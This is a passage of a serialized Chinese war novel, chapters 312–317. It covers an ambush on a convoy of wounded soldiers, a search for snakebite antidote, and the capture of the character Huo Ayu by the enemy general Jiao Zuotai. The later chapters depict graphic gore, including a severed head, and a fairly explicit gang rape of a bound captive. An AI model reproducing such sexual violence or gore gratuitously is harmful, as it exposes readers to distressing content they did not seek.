也不知道云琛听懂几分,她愣愣地问:
“这意思是你不生气了,是吧?”
霍阾玉语塞。
她说了一大堆柔肠百转,云琛这二愣子就关心她还气不气?
她怎么突然感觉也不是那么难过了呢??
这时,马车里突然“扑哧——”一声。
一旁睡醒已久的何小武,终于憋不住笑出声,带着强忍的笑音道:
“对不住,实在听不下去了。一直觉得云将军是指哪打哪的好手,没想到还是说东听西的浆糊……”
“扑”得一声,霍阾玉也忍不住笑了。
云琛见状,心里终于松口气。
一旁,何小武将身子挪了挪,凭感觉朝二人更靠近些,笑道:
“云将军,霍医女,要不你们干脆跟我一块回乡吧?我带你们好好玩一玩。别看我们那是村,但有山有水,有林子能打猎,是个四季有花的吉祥地!我家那口子还会做锅贴饼子炖大鹅,可攒劲了!云将军肯定爱吃!”
云琛听着就流口水,“等等吧,等大胜以后,一定去你家尝尝!快了!”
“好!到时候云将军别嫌弃我是个‘三条腿’的耕地牛就行!哈哈哈!”何小武高兴地咧嘴笑起,虽然眼睛上蒙着白布,但仍能从脸上看出,这是个铁血丹心的硬汉子。
何小武又说了些淳朴有趣的家乡事,逗得云琛和霍阾玉咯咯直乐,马车里气氛一片祥和。
“嗨呀,云将军,别小瞧我。我现在眼睛瞎了,耳朵就变得特别好,回头上我家,我给你打兔子,保证听音判位,不带一点偏的——”
何小武话未说完,突然与云琛同时脸色一变。
第312章 勇气
何小武与云琛同时脸色一变。
只听“噗”的一声。
箭矢破空携风。
云琛瞬间弹跳起来扑向霍阾玉。
何小武则凭本能抬手抓向黑暗,一支利箭咻地飞进车窗,被他狠狠攥在手心。
这箭来得突然又迅猛,三人几乎没有反应过来,就连何小武自己都是懵的。
他握了握箭,忍不住嘿嘿笑道:
“看吧,云将军,我就说我——”
下一瞬,血溅封喉,声音戛然而止。
这一次,何小武没有第二只手去握箭了。
一支长箭穿透车板,狠狠扎进何小武的后脑勺。
锋利的箭头从他还在说话的口中露出来,叫他只能口鼻冒血,发出轻轻的“呵”声。
紧接着,无数箭矢纷纷飞来,叮叮当当扎透马车,穿过何小武的身体,刺向云琛和霍阾玉。
马儿被箭扎得扬蹄嘶鸣,马车剧烈颠簸旋转。
云琛一边挥剑挡箭,一边紧紧将霍阾玉护在身下。
听见外面尖叫声和打斗声四面顿起,她想要起身查看,却被密集的箭雨压得根本动弹不得。
花绝的声音在外面惊呼:“全队戒备!有埋伏!戒备!!”接着用更加惊恐的声音朝云琛的马车大吼:“阿琛!!小心!!”
几乎是一刹那,云琛就明白将要发生什么。
她紧紧抱住霍阾玉,忍着悲痛拉过何小武的尸体,垫在霍阾玉身下。
下一刻,马儿倾倒,摔下一道矮坡。
马车整个向前翻腾,在空中翻滚又坠落,打了好几个滚才轰隆停下。
天旋地转之中,无数箭矢狠狠扎向云琛和何小武的后背。
霍阾玉被夹在两个怀抱中间,只磕破些皮,没有挨一处箭伤。
“阾玉,待在这里!”云琛急急对霍阾玉嘱咐了一句,而后提起隐月剑,破车杀出。
在云琛转身而去的一瞬间,霍阾玉看见她脸色惨白,整个后背都是密密麻麻的血洞。
云琛跳出马车,快速环顾四周,只觉浑身的血都凉了。
无数黑鳞骑兵如鬼影一般,不知从哪冒了出来,已将整个运送车队团团围住。
漫天都是飞窜的箭矢,到处都是黑鳞骑兵挥舞的寒刃。
一驾驾马车被掀翻,那些已经几乎牺牲过一次、本该归家的重伤员们,有的缺胳膊少腿,有的还昏迷不醒,全部被黑鳞骑兵拖出来**,毫无还手之力。
还有随队看护的军医和医女们,也全都被黑鳞骑兵**殆尽。
因为只是朝防线内运送重伤员的关系,云琛仅带了八百人出来。
就这么短短片刻的功夫,已**得一地横尸,只剩寥寥几十人还站着。
花绝带头苦战,被七八个黑鳞骑兵团团围住攻杀,后背彻底暴露,眼看就要遭受致命一击。
云琛以最快的速度飞冲过去,三两剑挑开包围圈,将花绝从黑鳞骑兵人堆里拽出来。
根本没料到会在固英城往西的关内遇袭,云琛等人寡不敌众,迅速撤退。
云琛与霍阾玉在前,花绝和几十个幸存的狮威军将士从后掩护。
众人骑上唯剩的马匹,向固英城方向疯狂逃去。
云琛与霍阾玉共乘一匹马,霍阾玉在前驾马,云琛在后挡箭。
黑鳞骑兵的箭矢不断飞来,大部分都被云琛用剑挡开,也有些扎中了她后背。
忽然,霍阾玉听到云琛发出一声痛苦的闷哼。
一支样式奇特的乌金色箭矢正中云琛后心。
霍阾玉心里大急,怕云琛伤到要害处,但此刻不是停下来查看伤势的时候,她只能将马驾得更快。
就这么跑啊跑啊,直到黑鳞骑兵慢慢被甩远,固英城近在眼前,云琛终于支撑不住,缓缓向侧边倒去。
后方的花绝瞧见云琛倒下,全力冲过去以身体接住,却不妨被云琛身上扎着的一根箭矢狠狠贯穿胸口,顿时昏死过去。
霍阾玉急急勒马,未等马停稳就跳下马背,狼狈地摔了个跟头,几乎手脚并用地朝云琛和花绝跑去。
她将已一动不动的云琛扶起,登时面色一白,浑身如坠冰窟。
云琛浑身都是血洞和刀伤,其中最深一处正中后心,伤口已开始乌青发黑。
霍阾玉与几十个狮威军将士急忙抬起云琛和花绝,朝医药院狂奔而去。
跑到一半时,却听离城不远的狮威军营地传来备战的号角声
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等霍阾玉等终于跑进医药院,荣易大惊失色迎上来时,众人才知:
在云琛去送伤员的时候,黑鳞骑兵主力突然向固英城方向推进三百里,大有进攻之势。
眼下,霍乾念去杀谷寻粮草未回,云琛重伤不醒,荣易只得肩负起临时主将责任,准备立即整军备战。
他刚要动身,更坏的消息却又传来。
霍乾念等人在杀谷寻粮草不得,反遭遇埋伏,紧急求援。
荣易懵了:“怎么回事,云将军运送重伤员向西遇袭,霍将军在东北方向杀谷遭遇埋伏??不可能啊!黑鳞骑兵全被我们狮威军挡在固英城东南战线外!关内怎么会有这么多敌人?!”
没人能回答荣易的问题。
他从军以来第一次遇到这么严重的突发情况。
定海神针一般的霍乾念不在,勇猛无敌的云琛被打倒了,就连哥哥荣江也不在身旁。
自他从军以来,头顶上一直有上级坐镇,这还是第一次身边空无一人,需要他独自做决定。
荣易大脑一片空白。
这时,一只洁白秀气的手端着茶杯,稳稳伸到荣易面前。
霍阾玉浑身脏乱,全都是从云琛身上沾到的血。
她人虽狼狈,眼神却坚定从容。
荣易的处境,霍阾玉完全感同身受。
当年霍帮深入东南密林追剿玉阳基时,遭遇黑鳞骑兵埋伏,霍帮众人死的死,伤的伤,最后竟只剩霍阾玉一人,带着昏迷不醒的霍乾念、云琛和花绝,在林中绝地求生,硬生生躲过黑鳞骑兵的追杀。
她永远记得那种绝望、无助和崩溃,亦记得绝境逢生后,从心底油然而生的无边勇气,以及前所未有的自豪感。
她将一杯热茶端给荣易,轻声道:
“荣将军,还记得我们第一次见面吗?你是战场千锤百炼出的真英雄,一定比我要厉害得多。等你打胜了,我请你吃牛肉锅子,美美地喝一坛上好的乌梅酿。”
愣了一下,荣易脸上的阴霾一扫而光。
他目光炯炯地望着霍阾玉,重新变得神采奕奕,无比坚定道:
“那么一言为定,霍二小姐——不,是霍阾玉。”
第313章 寻药
在霍阾玉一剂强有力的安慰下,荣易迅速找回信心,挑起大梁,令罗东东率一万骑兵迅速赶往杀谷增援,他自己则立即赶往狮威军营地,率全军进入紧急备战。
花绝和云琛重伤不醒,被安置在固英城的医药院里,霍阾玉从旁照顾。
原本满满当当的医药院,此刻变得空空荡荡。
只有两三个留守的医女愣愣地坐在地上,看着浑身是血的霍阾玉。
偌大的屋子里,一张张空榻摆在原地。
何小武的榻边,那个泡过芙蓉粥的空碗还没来得及收。
所有本该荣归故里的重伤员,那些一直废寝忘食照看伤员的军医、医女……
全都没了……
突发意外时,思绪尚且不能反应。
直到此刻,霍阾玉才感觉到恐惧和战栗。
如果不是云琛,只怕她这会已经在奈何桥排队了。
她将云琛、荣易和两三个重伤的将士安顿好。
看着云琛已经开始青紫的脸色、乌黑的嘴唇,她心里焦急,赶忙将所有能找到的药材翻出来,却都是治疗外伤的药物,没什么可用的解**材。
整整一下午,她寻遍城中医馆,请了好几个大夫来为云琛和花绝查看,得到的结果全都一样:
花绝伤重,但只是皮肉伤,未及肺腑;
云琛情况则不容乐观,她后背所中之毒为金环蛇毒,毒性猛烈,好在解药不难寻。
可要命就要命在,固英城连年遭受战火,药商几乎只往城中贩卖外伤药,根本没有解蛇毒的药。
若没有解药,最多一天一夜,云琛必死无疑。
听到这个消息,霍阾玉顿时慌了。
她摸摸云琛滚烫的额头,上面全是青色的汗液,显然毒已深入体内。
她眼含泪水,哀求道:
“一定有办法的……一定有……大夫,求求您……”
一个大夫叹了口气,道:
“城外往东八十里有个村子,里面有位赤脚大夫挺有名,擅治疑难杂症,所用药材多为山中采摘。山中多有毒蛇虫蚁,他也许有解蛇毒的药。但这只是我猜的,而且一来一回大半日,就算找到药,这么长时间过去,毒入肺腑,救活也是希望渺茫……”
听罢,霍阾玉面色惨白,咬住颤抖的嘴唇。
“我去一趟!”
就算只有万分之一的机会,她也要全力一试!
她将云琛和花绝托付给大夫和医女,而后找到固英城的守城军,请他们派人和她一起去寻药。
如今关内也有黑鳞骑兵,神出鬼没如幽魂一般,谁也不敢保证东向的村子一定太平。霍阾玉不敢贸然行动。
守城军自然认识霍阾玉,知道她是霍乾念的妹妹。
可军令如山,荣易走之前已下令所有人死守城门,不得擅离职守,守城军不敢擅动。
霍阾玉也知道狮威军的治军之严,不愿为难他们。
只是若叫信兵去前线取得荣易同意,一来狮威军正与黑鳞骑兵紧张对峙中,随时有可能爆发战斗,寻不寻得到荣易都不一定。
二则,这样一来一回,更耽误掉许多时间。
想到云琛已气若游丝的样子,霍阾玉咬咬牙,心一横,决定独自跑一趟。
她估算时辰,若骑上云琛的狗小六,以水中龙一骑绝尘的速度,来回一趟,半日足够。
她快速回医药院换上一身布衣男装,装好银两和水壶。
将一切收拾妥当后,她摸了摸云琛滚烫的额头,声音轻柔却无比坚定:
“云琛,别怕,我去为你找药。”
似乎预感到霍阾玉将走入什么万劫不复的危险境地,云琛在昏迷中痛苦地皱起眉头。
在走出医药院的大门之前,霍阾玉一步三回头,一连回望了云琛好几次。
……
……
两个时辰之后,霍阾玉出现在东边石屋村的村口。
她先装作路过,在村子周围环顾一圈,见太平无事,并没有黑鳞骑兵的影子,而后寻到一户茅屋破落的人家,打听赤脚大夫的住处。
那户人家房屋破败,四处漏风,只有一个瘸腿乞丐住在里面。
霍阾玉用一两银子说定,让乞丐替她办件差事。
固英城战火一起,附近村子也跟着遭殃,乞丐们几乎讨不到什么剩饭,一见这一两银子,那乞丐二话不说就应下。
霍阾玉随即与乞丐来到赤脚大夫的石屋外,远远地就停了下来。
她严肃嘱咐那乞丐:
“记着,你肚子饿,和同伴一起上山挖野菜吃,你同伴不小心被蛇咬了,伤口青紫发黄,高烧出青色汗,你想寻些解**给他,问大夫有没有。
他若说有,告诉你价钱,你便说没带够钱,取了钱再来,其他什么都不必多说,只来将石屋中什么情形、都有什么人,尽数告诉我。事成之后,我再给你二两银子。”
那乞丐一一记下,道了句“大人放心,一定办成”,而后往石屋走去。
他刚走出去一步,又被霍阾玉叫住。
霍阾玉还是有点不放心,她道:
“万一,我是说万一在石屋里碰到什么危险的人,你千万......”
霍阾玉话未说完,被那乞丐打断:
“大人放心,我们做乞丐的最会看人好坏,瞧人脸色,万一有什么恶人在里面,我低声下气求饶命就是,这是我绝招!”
听那乞丐这么说,霍阾玉总算放心了些,目送那乞丐走进石屋。
那乞丐进去片刻便出来,回与霍阾玉道:
“大人,那大夫说有解蛇毒的药,什么竹叶青蛇,金银环蛇,他都有。听我说了蛇咬的样子,他说应该是金环蛇毒,毒性很强,叫我快快拿钱买药,不能耽搁。”
霍阾玉大喜过望,“那石屋里外是什么情形?有没有什么看起来很危险的人物?”
那乞丐摇头,“院子里站着两个年轻人,看起来
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瘦瘦高高,斯斯文文,还有说有笑的;屋子里面只有那老大夫和一个男人。那男人躺在榻上,老大夫给他扎针的呢,好像是慕名而来看头疼病的。”
霍阾玉心里踏实多了,这招“投石问路”是她从前跟着云琛学会的,她觉得很有必要。
眼下看来,石屋算是安全。
她将二两银子给那瘸腿乞丐,连连道谢,然后将水中龙藏在离石屋不远的两棵大树后。
而后,她整顿面容,神情自然地走向石屋。
结果走进院子,她登时脚步一僵,头皮“蹭”地麻了。
如那乞丐所说,院中站着两个年轻人。
但那乞丐没说的是,那两个年轻人的身后,还立着三匹穿戴黑甲的战马。
那如地府幽冥坐骑一般的黑甲战马,她曾在当年霍帮遭遇黑鳞骑兵埋伏时见过。
她一辈子也不会忘记。
几乎是一瞬间,霍阾玉差点就要拔腿飞逃。
可她还是面色淡定地经过那两个年轻人,走进了石屋。
她告诉自己稳住!别叫人看出来!这个时候露馅是跑不掉的!
她只当年遇袭夜里与黑鳞骑兵见过一面!那时天暗人乱!又已经过去这么久!黑鳞骑兵不可能认得她!
她心中已恐惧地开始嚎叫,面上却不敢暴露一丁点异样。
她感觉双腿如木锥一般僵直战栗,迈开每一步都极其艰难。
她将颤抖的手藏在袖子里,努力将声音放得低沉,对大夫道:
“大夫,拿包退烧药吧,我弟弟烧得厉害。”
就拿个最容易配的药!然后立刻马上就走!一刻不多停留!霍阾玉在心里不停地叫自己别发抖!冷静!再冷静!
那老大夫说了句“稍等”,为榻上的男人取下银针,嘱咐了几句“今日勿要沐浴”之类的医嘱,随后走到霍阾玉跟前,问道:
“什么病症引起的发烧?”
霍阾玉努力控制住已经僵硬的面容,道:
“您看着开吧,能退烧就行。”
老大夫却不肯,严肃道:
“发热的病因太多了,你不说,我怎么知道该如何下药?若不对症,吃了要害人的。”
霍阾玉咬住牙齿又松开,道:
“我弟弟不小心被虫子咬了,伤口有点青紫,人就烧起来了。”
老大夫点点头,絮絮叨叨像是自言自语:
“原来如此,那不仅要退烧药,还要解**,刚才还有人来问,有没有解蛇毒的药呢,怎么今日这么多人被毒蛇虫蚁咬?我可以配副很好的解**,普通虫蛇毒都能解,只不过需要半个时辰,还要六钱银。”
霍阾玉刚想说“只要退烧药就好”,却听一旁榻上传来一阵起身的窸窣声。
她根本不敢扭头去看,只用余光看见一个高大的黑影缓缓坐起,面容正冲着她的方向。
不知是不是太紧张而产生的幻觉,霍阾玉仿佛听见那男人笑了一声。
第314章 无法回头(上)
就在霍阾玉以为是自己太紧张而幻听了的时候,那男人不紧不慢地走到她身边,真真切切地轻笑了一声。
霍阾玉只感觉浑身发僵发冷,下意识屏住呼吸,不敢有任何动作。
那男人看了霍阾玉一眼,将十两银子放在桌上,用当年霍帮遇袭之夜,霍阾玉曾亲耳听到过的那个阴森声音,笑着说:
“神医针法高明,我七日后再来。”
霍阾玉大脑一片空白,一阵阵发晕,身体止不住地想发抖。
她梗着脖子不偏头,努力装作一个普通买药人的样子。
但她却无法忽视心中的惊骇和恐惧。
因为她做梦都不会忘记这个声音。
还有那在夜空中追逐着他们,如厉鬼缠身的疯狂嚎叫声——
黑鳞骑兵将军,焦左泰的声音。
老大夫忙着配退烧药,头也不抬,道:“你这是陈年旧疾,若有时间,来得勤一些最好。”
焦左泰并不看那老大夫,只是一直用阴沉的目光,上下打量霍阾玉,而后笑了一声,转身向外走。
院子里的两个年轻人立刻整理衣襟,各自翻身上马,跟着焦左泰一同远去。
听到马蹄声渐渐跑远,霍阾玉终于颤抖着呼出一口气,瞬间两腿一软,跌坐在地上,吓得那老大夫大叫一声,赶忙过来搀扶。
估摸若此时离开,很可能与焦左泰三人碰上,还是等些时候再走更妥当,霍阾玉便叫那老大夫抓紧配副金环蛇毒的解药。
半个时辰后,解**配好,霍阾玉心里也平静许多。
她仔细回忆当年在边境林中遭遇袭击的情景,当时火光冲天,场面混乱,她并未与焦左泰正面说过话,也并没有清楚地见过面。
当时焦左泰与花绝打斗的时候,她一直背着云琛躲在一旁,现在又是女扮男装。
除非那焦左泰火眼金睛,过目不忘,否则绝不可能认出她。
想到这里,霍阾玉心中更安定了些,但还是觉得此地不宜久留,万一焦左泰三人去而复返就糟了。
她向老大夫付钱道谢,仔细揣好药,快步往远处栓水中龙的两棵大树跑去。
谁知还没走到跟前,她已清楚地看见,三匹黑甲战马也停靠在那两棵大树旁。
焦左泰三人竟去而复返,又回来了。
他们或坐或立,就在离水中龙三两步的地方,正饶有兴趣地看着她。
像野兽打量猎物,不慌不忙,甚至颇为戏谑,焦左泰歪头瞧着霍阾玉,笑得十分诡秘。
一瞬间,霍阾玉感觉如坠冰窟,浑身的血都凉了,一种恐惧又无望的感觉充斥着全身。
她强作镇定,却压根不知道自己迈的是哪条腿。
她知道自己无法回头,也不能回头。人是跑不过马的。
她缓缓走到树旁,极力动作自然地去牵水中龙。
那两个年轻的黑鳞骑兵中,其中一人冲霍阾玉吹了个口哨,叫道:
“喂!”
霍阾玉登时手一抖,掉落了
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缰绳。
另一个年轻黑鳞骑兵笑道:
“瞧你给人家姑娘吓的!”
旁边的焦左泰没有说话,只是一直在擦一柄崭新的长刀。
与普通战刀不同,这刀更长更重,刀身泛黑,刀头方形,更适合战场作战。
焦左泰反复打量长刀,满意道:
“不错,开过刀就是漂亮。”
霍阾玉下意识循着焦左泰的声音看过去,好像看到刀刃上有未擦净的血痕。
太近了。
实在太近了。
三两步的距离,近到焦左泰只要一探身一伸手,就能将她抓住。
近到她能闻到焦左泰身上有一股浓重的血腥味。
在三双如钩子般阴险的目光中,霍阾玉重新捡起缰绳,翻身上马,故作冷漠的样子,往与三人相反的方向走去。
没有人再说话,但霍阾玉能感觉到,焦左泰三人的目光一直盯着她后背。
走出去无比漫长的十丈距离,就在霍阾玉想要不顾一切、狠狠驾马飞奔的时候。
身后,焦左泰阴笑一声,叫道:
“姑娘,你落了东西!”
霍阾玉回过头,一个黑色的“东西”急速飞来,“砰”的一声砸进她怀里。
她下意识伸手抱住,被那力道砸得摔下马。
她抱住那毛茸茸又滑腻腻的东西,定睛一看,瞬间失声惨叫。
“啊——”
一双呆滞无光的眼睛直直瞪着她——
正是那瘸腿乞丐的人头。
第315章 无法回头(下)
水中龙回来了。
守城军都认得这匹漂亮又高瘦的黑马,连忙放行。
毕竟这样浑身漆黑如墨、**色发亮的烈马不多见。
常与马打交道的将士们都稀罕它。
就连常年对战的黑鳞骑兵们,也全都认得这匹好马,知道是云琛的坐骑。
水中龙识途千**,对固英城的路也极为熟悉。
它跑到医药局,冲一个医女使劲低头,露出背上捆着的一包解蛇毒的草药。
医女大喜过望,来不及多问一句“霍医女呢?”赶紧拿药给大夫看。
几人手忙脚乱地熬药、制膏,终于赶在天黑前为云琛疗过伤。
整整一夜过去,云琛虽仍昏迷不醒,但脸色已由青转白,烧也退了。
一场关乎性命的危机过去,医女和大夫这才松口气,想起霍阾玉来:
不对啊,按霍阾玉的性子,一定会亲自在云琛身边照顾,怎么会整整一夜都没出现?霍阾玉不是个冒失的性子,只怕有危险!
医女赶紧将这一消息告诉守城军,才知水中龙竟然是独自回来的,霍阾玉压根就没有回城。
霍乾念的妹妹失踪了,这一不得了的大事,守城军连忙派人传信去前线,希望荣易同意他们出城寻人。
消息一来一回,又是整整一天一夜。
几个医女心焦如焚地等啊等。
然而守城军带回的,却不是即将去寻霍阾玉的命令。
而是一个令所有人彻底绝望的消息——
荣易在前线已收到焦左泰的亲笔信。
那信字迹潦草又嚣张、连官话和敬语都没有。
说什么霍阾玉已在黑鳞骑兵手中,舍不得离开,指名要“云琛”换“霍阾玉”,且只能云琛独自一人前去。
甚至还附了霍阾玉的发带为证。
闻此,医女们抱在一起痛哭,不停为霍阾玉祈祷。
花绝从昏昏沉沉的梦中被吵醒,神志比身体先清醒过来,将医女们的哭泣和祈祷声,全部听在耳中。
他撑住榻,费力地慢慢坐起,胳膊搭在膝盖上屈腿坐着,缓了好一会儿才清醒。
医女们哭着哭着,一扭头,见花绝直勾勾地看着几人,吓得眼泪全憋了回去,差点叫出声。
一个医女擦擦眼泪,赶忙上前扶花绝:
“你伤得重,躺着别动,我给你端药来,你现在应当连拿碗的力气都没有,快躺着。”
花绝摆摆手,自顾站起身,打了两个晃才站稳。
“水……”他只有力气说这一个字,而后从医女手中接过水碗,猛喝了几大口。
不顾医女的劝阻,他忍着身上各处剧痛,捧住胸口被箭矢贯穿的伤口,慢慢将霍帮黑色的亲卫服制穿好,重新束好腰带。
犹豫了片刻,他又拿过云琛标志性的粉清色衣袍和少将银铠甲穿上,将头发束成云琛的模样。
花绝长得有两分像霍乾念。
作为霍家人,他既有自小锦衣玉食与诗书骑射养出的矜贵和傲气,也有做护卫多年浸染的一身耿耿之气。
云琛粉清色的袍子衬得他脸色愈发苍白明净,近乎女子的束发让他显得有些滑稽,与他一身英武气质格格不入。
云琛虽身量高挑,但到底不及男人身长肩宽,她的铠甲都是量身而制的,花绝穿起来太小,箍得浑身伤口发紧,疼得他直冒冷汗。
没办法,他只得将云琛的铠甲拆成两半,中间用细绳绕固,总算宽松了些。
做完这些,花绝已累得气喘吁吁,身上许多处伤口都崩裂渗血。
他坐在榻边休息,仔细看了会儿云琛的脸,声音嘶哑地对医女道:
“劳驾,有胭脂水粉吗?”
当看着花绝这个大男人开始描眉画眼的时候,医女们既惊讶又不解。
只有榻上昏迷了整整两日的云琛艰难醒来。
她连说话的力气都没有,只能皱眉望着花绝,用眼神拼命阻止。
她不像花绝听到那么多,光听到医女们说的最后一句“黑鳞骑兵要‘云琛’换‘霍阾玉’”。
只看了花绝一眼,云琛就完全知道花绝要干什么。
她用尽全力挣扎,却只能微微偏头,嘴里发出轻轻的呼气声。
花绝收拾完毕,用帕子充作女子面纱试了试,而后走到云琛榻前蹲下,展开苍白的面容,笑看着她。
“如何?像不像你?”
云琛不停地摇头,眼神从焦急变得哀求,嘴里断断续续吐字模糊地说,
“拿我......换……”
花绝抬起手,佯装要**的样子:
“胡说八道什么呢?拿你换阾玉?你觉得我
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能让这事发生?把我最好的兄弟送进狼窝?”
云琛说不出完整的话,只能连连摇头,最后眼中甚至有了泪。
花绝摸摸自己挂着胭脂水粉的脸,颇为嫌弃道:
“这是我最后一次扮女人了啊,等我回来,你必须得请我喝酒!”
而后,他像从前一样拍拍她的肩膀,试图用最轻松玩笑的语气道:
“焦左泰指名要你,估计我男扮女装,应该可以混过黑鳞骑兵的通行检查,但肯定瞒不过焦左泰,到时候我不说别的,只用我换阾玉回来就行。否则,等荣易带兵打赢,再救阾玉,只怕来不及……”
说着,花绝语气又沉重下来:
“黑鳞骑兵都是畜生,保不齐有什么折磨人的脏手段。阾玉一个女孩子在那里,若有什么脏话传出来,她今后就没法活了。焦左泰不过需要一个要挟少主的人质,我去换阾玉,焦左泰会肯的。”
话说得很轻巧,但其实花绝心里很清楚,这大概是一条无法回头的死路,他只是刻意不往这方面想。
“阿琛,换作你,叶峮哥,不言,都是一样的。”花绝说。
不论今日站在这里的是谁,都不会眼睁睁看着霍阾玉孤身一人被俘。
花绝想,幸好是他,否则要是云琛站着,这傻子定会不顾一切去拿自己换霍阾玉,忘记自己也是个女孩子。
女孩子……
想到这三个字,花绝突然心里一阵刺痛,面色变得极致温柔。
有些惋惜,有些不甘,更多还是愧疚和不舍。
他摸着怀里樱桃红的剑穗,那上面好像还有梨糖的香味。
他有点哽咽:
“阿琛,万一我回不来,帮我给蕊娘带句话。就说我变心了,叫她别等我。谢了,兄弟。”
说罢,不管云琛表情如何痛苦又焦炙,怎样拼尽全力伸手,试图阻止,然而花绝只是拿开她的手,用力捏了捏她的肩膀。
他拿起云琛标志性的饮血剑,最后看了她一眼,随即推开门,大步离开,再也没有回头。
最后那一眼,云琛瞧见门外的天空阴沉如冰,像是酝酿着一场寒冷的大雪。
花绝站在门口的身形高长笔挺。
他脸上是笨拙却绚丽的胭脂色彩,浑身却散发着什么都无法湮灭的气宇轩昂。
第316章 以血为祭
花绝一路策马飞驰,冲进黑鳞骑兵大营。
凭着令黑鳞骑兵闻风丧胆的粉清衣袍银铠甲,还有云琛标志性的饮血剑,他单枪匹马而来,黑鳞骑兵打开大门相迎,竟无一人阻拦。
远远的,花绝瞧见前方有一个木头架子搭建的帐子。
五颜六色的纱幔从架子上层层垂下,隐约能瞧见里面人影交错。
两排身穿黑鳞铠甲的骑兵立在帐前,焦左泰则穿一身黑色常服,既没有拿枪,也没有佩刀,坐在中间一把太师椅上,正一脸阴笑地望着花绝走来。
他面前摆着一桌酒宴,桌上是军中难见的山珍海味,还有一大锅香浓的蜂蜜牛乳酪,一旁还放着净手的热水和热毛巾,竟像是在等云琛来赴宴。
花绝走上前,并不下马,目光扫视四周,没有看见霍阾玉的身影。
倒是那纱幔围绕的帐子里不停发出断断续续的怪声,引得花绝不由多看了几眼。
“我妹妹霍阾玉呢?”花绝也不掩饰,将面上帕子扯下,冷冷地问。
见来人不是云琛,焦左泰明显很失望,“解蛇毒的草药已经叫马驮回去了,云将军应该醒了,怎么不来呢?”
花绝居高临下蔑视着焦左泰,“你不配她来,我就够。”
焦左泰闻言“哈哈”大笑两声,命两个黑鳞骑兵搬来一把椅子,放在他正对面十丈处。
他向花绝做了个“请”的手势,“看来又是一条不怕死的好汉,你说霍阾玉是你妹妹,那你就是花绝吧?霍帮第二亲卫。坐下来说话如何?”
花绝跳下马,坐到焦左泰对面,将饮血剑抽出来插在地上,手始终没有离开剑柄。
“我要见我妹妹霍阾玉。”
焦左泰用手势安抚花绝,十分客气地叫人上茶,漫不经心道:
“瞧你这急性子,稍安勿躁,我这就叫人去请二小姐。”
焦左泰说完,真的对一个黑鳞骑兵吩咐去请霍阾玉,那黑鳞骑兵却笑道:
“霍二小姐还在忙,估摸着……还得一刻钟吧!”
焦左泰点点头,笑着对花绝道:“那咱们喝盏茶,慢慢聊。”
花绝握紧手中剑,“我要见她!”
焦左泰最后耐着性子说:
“拿着饮血剑,还穿着云琛的铠甲。可见你与云琛亲密。凭这一点,我可以考虑——”
“别废话,我要见霍阾玉!”花绝毫不客气地打断:“你不是要人质吗?那就用我换霍阾玉!”
焦左泰最后一点耐心也没了,脸色慢慢阴沉下来:
“这下该我说‘你不配’了,毕竟有些事,你替不了霍二小姐。”
焦左泰说完,周围的黑鳞骑兵们全都露出淫荡的笑容。
花绝看得恶心,轻蔑地在地上吐了口吐沫,正要说话,却忽听一声哀嚎从帐子传来。
听出那声音像是女子,竟有些像霍阾玉,花绝心里顿时生出极其不详的预感。
他猛地站起身,一剑指向焦左泰,怒道:
“我妹妹呢?!我要见她!!”
焦左泰的脸上有一闪而过的杀意,却还是做出个皮笑肉不笑的表情,明知故问:
“你确定现在就要见她?确定?”
“别他妈废话!”花绝又朝焦左泰走近一步,周围所有黑鳞骑兵立刻抽刀戒备。
焦左泰一动不动,阴险冷笑,用眼神示意旁边的人。
紧接着,焦左泰身后那个帐子,纱幔被缓缓拉开。
一张四方桌出现在花绝的视线里。
霍阾玉披头散发,浑身一丝不挂地趴在桌子上,一动也不动。
她的手被绳索固定在桌子上,两腿分开,与桌腿捆在一起,鲜血不停地顺着她雪白的大腿流下。
她的脸因为痛苦而紧紧皱成一团,惨白如纸的面上全是干涸的泪痕,嘴角还有红肿和瘀血。
在她身后,一个男人提起裤子,正在重新穿戴黑鳞铠甲。另一个男人迫不及待地脱下裤子,朝她身后走去。
“阾玉!!!”花绝崩溃怒吼,疯狂拔剑冲去。
焦左泰快速从旁抽出那把崭新的方头砍刀,以全身之力向饮血剑狠狠劈去!
“当啷”一声,饮血剑被生生劈断,碎成两截。
焦左泰满意地看着手里的砍刀。
一旁几十个黑鳞骑兵将花绝团团围住,很快就将他打倒在地。
花绝被死死摁趴在地上,瞪着血红的眼睛嘶吼:
“焦左泰我操你妈!!!你个猪狗生的畜生!!畜生!!!”
焦左泰缓缓上前,俯身压迫地瞧着花绝,在他后背上方凌空比画了两下,露出无比阴毒的笑容。
“人头开了刀,饮血剑祭了刃,现在该真正试一试刀锋了。虽然今天这出戏,没能让云琛看到,又一次错过‘摧毁意志’的机会。不过既然你来了,也能玩玩。”
伴着焦左泰和黑鳞骑兵们肆无忌惮的放荡笑声,花绝痛苦的惨叫与霍阾玉绝望的哭号交织在一起,响彻整片阴色的天空。
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第317章 悲歌
今冬最大一场雪来了。
鹅毛大雪漫天盖地,所有硝烟、罪恶与贪婪都被掩盖,还给人们一个短暂美丽的假白。
因东宫长久拖沓,以及抽调兵力北伐的决定,楠国中部叛区兵力不足,三万玄甲军全军覆没。
老将曹放与孟剑云奋战到最后,身中数十箭而屹立不倒,仍发出阵阵杀吼声,令敌人闻之破胆,却最终还是双双战死,尸首被草草埋在乱葬岗。
整个中部沦为叛军控制区,切断了狮威军与京都方向的所有联系,从西、北两个方向围向固英城。
叛军更与黑鳞骑兵里应外合,借杀谷暗通兵路,将两伙黑鳞骑兵引至关内:
一伙伏击云琛和狮威军重伤员;另一伙在谷内劫下粮草,袭击霍乾念等人。
凭着斗智斗勇的绝佳周旋战法,霍乾念带领众人硬生生在谷中坚持数日,苦战十余场,歼敌千余。
等罗东东及时带援兵赶到时,已险险只剩霍乾念、叶峮和荣江等二百余人。
罗东东感到无比后怕,若是他再晚来一会儿,怕是只能为霍乾念收尸了。
载着浑身是伤的霍乾念等人,罗东东快速回程,老远就听见杀声震天,黑鳞骑兵竟已攻破狮威军防线,再次打到固英城脚下。
幸而大雪突至,阻挡了黑鳞骑兵的冲锋,给了固英城喘息之机。
霍乾念等人急急入城休整。
在黑鳞骑兵与叛军联合包围固英城、彻底闭合包围圈的最后时刻,众人险险收到一封来自京都方向的急报:
四十万北伐军北上遇阻,接连惨败,不敌洛疆。混战之中,南璃君失踪,下落不明,生死未卜。
北伐军大败,东宫储君失踪。
这消息无疑狠狠一击重创,让整个楠国大地都覆上“灭国在即”的惊慌阴影。
楠国这艘巨轮,就这样驶进了充满急流和暗礁的危险领域。
鞭长莫及,霍乾念等人没精力谋划北方,一头扎进固英城。
